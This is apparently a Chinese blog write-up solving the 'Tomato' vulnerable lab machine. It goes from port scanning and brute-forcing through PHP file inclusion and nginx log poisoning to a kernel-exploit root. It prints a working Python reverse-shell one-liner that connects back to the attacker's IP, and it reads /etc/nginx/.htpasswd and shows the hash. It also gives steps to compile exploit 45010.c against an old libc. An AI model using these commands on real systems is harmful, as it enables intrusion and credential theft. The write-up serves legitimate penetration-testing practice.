21、Tomato

难度 低(个人认为中)

目标 root权限 + 一个flag

使用VMware启动

kali 192.168.152.56 靶机 192.168.152.66

信息收集

端口信息收集

可以看到有个ftp服务,2211实际是ssh协议端口,80、8888是一个web服务

web测试

80端口显示一个tomato

查看源码给了一些提示

先上dirseardh扫一遍

然后用gobuster的中等字典扫了一下也没有结果

8888端口需要密码登录

可能和前面给的一些提示有关

然后使用cewl命令爬取一下这个页面搞了个字典用hydra爆破了一下这个8888端口的服务发现也没有结果,然后又爆破了一下ftp和ssh服务也没有结果

可能是字典不行,换字典继续跑,把kali的自带的seclectlist下面目录字典使用gobuster跑完了都没跑出来任何东西

看wp用dirb的可以跑出一个目录出来

以后打靶场没思路的时候把所有扫描工具全部上一遍。。。

用的这个的字典/usr/share/dirb/wordlists/common.txt。。。

进去可以看到一些源码内容

把能点的全部浏览了除了这三个图片还有两个txt和info.php其他都是空白,没有其他有效的消息了

看着readme这个网站好像是一个wordpress的一个网站机器人插件用来反爬虫的

突破边界

我以为是要根据这个readme中的内容去官网找源码。。。我搞好了半天都没找到突破点

看了wp看info.php的源码。。。

做这种题只想暴打出题人,到底是在打靶场还是打ctf

看到疑似加载本地资源的参数考虑是否存在任意文件读取,php语言考虑文件包含以及搭配利用各种伪协议

通过信息可以看到这个tomato用户存在

然后继续利用这个文件包含,尝试了一些可以命令执行的伪协议没有什么反应,然后看能不能加载远程文件

但是查看信息发现allow_url_include为off,只有下面两个都为on才支持远程文件包含

那么是否可以尝试包含session文件或者日志文件

经过我的尝试确定了日志文件的路径,一些apache和nginx的路径去猜一下

/var/log/nginx/access.log

并且这个日志记录的是8888端口的访问记录,就那个登录的包修改一些UA

可以看到记录也出现了

那么我们写一段php代码进去然后包含这个日志文件看执不执行

可以看到成功的执行了

那么可以直接写反弹shell的命令进行shell的反弹了

但是搞了半天没成功,我不知道是不是里面有什么编码的问题,写多了搞得这个日志都记录不进去了。只能换个日志选择nginx的错误日志,同时在nginx的错误日志中发现了这个8888登录在使用/etc/nginx/.htpasswd文件中的内容进行判断,然后读取这个文件读到了账号密码

ngnix:apr1azDw/Iwv$E7rIlqjeiX9Sx9.sMCcAZ0

拿这个密码去CMD5网站解密发现要钱。。算了还是继续文件包含吧

换了个文件成功的包含了

/var/log/nginx/error.log

这个文件会包含所有登录失败的请求路径和host,那么这里修改host

成功的回显了数据

能稳定执行命令后尝试使用各种方式方式反弹shell,最后使用python成功的吧shell反弹了回来

python 复制代码
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.152.56",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

拿到shell发现是www的权限

因为是直接使用python的pty反弹的所以已经是比较高级的shell了

提权

然后先上个信息收集的脚本linpeas.sh

一上来就是爆红

小于4.6的内核都可以考虑脏牛提权CVE-2016-5195

尝试脏牛然后发现靶机上面缺少了一些环境。。。这种情况最麻烦了

然后去找其他的利用方式

发现基本上使用c编译成的exp都会受限,应该是在kali上面进行gcc用了靶机没有的东西

strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_

环境上最高才2.23,只能下载一个带有低版本GLIBC的包然后gcc的使用这个包里的来编译,下载2.1x的包就刚好

wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb

然后使用dpkg -x解压

这里不用脏牛了用上面检测出的第二个

把这个c文件cp到当前目录

gcc 45010.c -o exp -Ldir ./libc6_2.19-0ubuntu6_amd64/lib/x86_64-linux-gnu/libc.so.6

然后上传上去赋予权限成功的提权

拿到flag

这种环境的原因真的好麻烦。另外内核漏洞的一些poc可以在这里找

GitHub - SecWiki/linux-kernel-exploits: linux-kernel-exploits Linux平台提权漏洞集合

相关推荐
砚凝霜3 小时前
【软考信息安全】第一章 网络安全基础、管理与法律法规
安全·web安全·php
商业看点解说5 小时前
企业需要为大模型应用设置安全护栏,推荐使用哪些生成式AI平台?
人工智能·安全
Johny_Zhao6 小时前
网络安全等级保护测评实施方案
linux·网络·人工智能·网络安全·信息安全·云计算·等保测评·系统运维·itsm
是隼人6 小时前
buuctf-pwn inndy_echo(32位fmt)题解(学习过程持续更新)
c语言·学习·安全·pwn入门·ctf入门
菩提小狗7 小时前
每日安全情报报告 · 2026-09-06
网络安全·漏洞·cve·安全情报·每日安全
落羽的落羽7 小时前
【AI】快速理解AI应用的相关名词概念
linux·c++·人工智能·python·计算机网络·算法
刚入门的大一新生7 小时前
Linux-进程控制
linux·运维·服务器·c++
上火的金鱼妹7 小时前
K8S基础组件作用和关系整理
linux·运维·服务器·kubernetes
Vcaker7 小时前
Linux学习25-harbor私有仓库部署
linux·运维·学习
刃神太酷啦7 小时前
Redis 进阶核心:持久化 (RDB/AOF)、事务与主从复制全解析----《Hello Redis!》(5)
linux·c语言·数据库·c++·redis·缓存·bootstrap